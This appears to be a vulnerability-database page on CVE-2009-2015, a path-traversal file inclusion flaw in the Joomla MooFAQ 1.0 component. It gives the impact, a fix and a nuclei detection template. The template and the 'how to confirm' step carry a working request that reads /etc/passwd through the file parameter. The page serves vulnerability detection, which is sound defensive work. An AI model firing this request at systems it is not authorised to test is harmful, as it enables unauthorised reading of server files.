HexBrain

Browse / CVEs / CVE-2009-2015

CVE-2009-2015· joomla / joomla· CWE-22

Joomla! MooFAQ 1.0 - Local File Inclusion

highseverity
7.5CVSS score
6.5%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

Joomla! Ideal MooFAQ 1.0 via com_moofaq allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter (local file inclusion).

Impact

The vulnerability allows an attacker to include arbitrary files from the local file system, potentially leading to unauthorized access, information disclosure.

Fix

Update Joomla! MooFAQ to the latest version or apply the official patch provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/components/com_moofaq/includes/file_includer.php?gzip=0&file=/../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2009-2015 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2009-2015

info:
  name: Joomla! MooFAQ 1.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: Joomla! Ideal MooFAQ 1.0 via com_moofaq allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter (local file inclusion).
  impact: |
    The vulnerability allows an attacker to include arbitrary files from the local file system, potentially leading to unauthorized access, information disclosure.
  remediation: |
    Update Joomla! MooFAQ to the latest version or apply the official patch provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/8898
    - http://www.vupen.com/english/advisories/2009/1530
    - https://nvd.nist.gov/vuln/detail/CVE-2009-2015
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2009-2015
    cwe-id: CWE-22
    epss-score: 0.06507
    epss-percentile: 0.93827
    cpe: cpe:2.3:a:joomla:joomla:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: joomla
  tags: cve,cve2009,joomla,lfi,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/components/com_moofaq/includes/file_includer.php?gzip=0&file=/../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from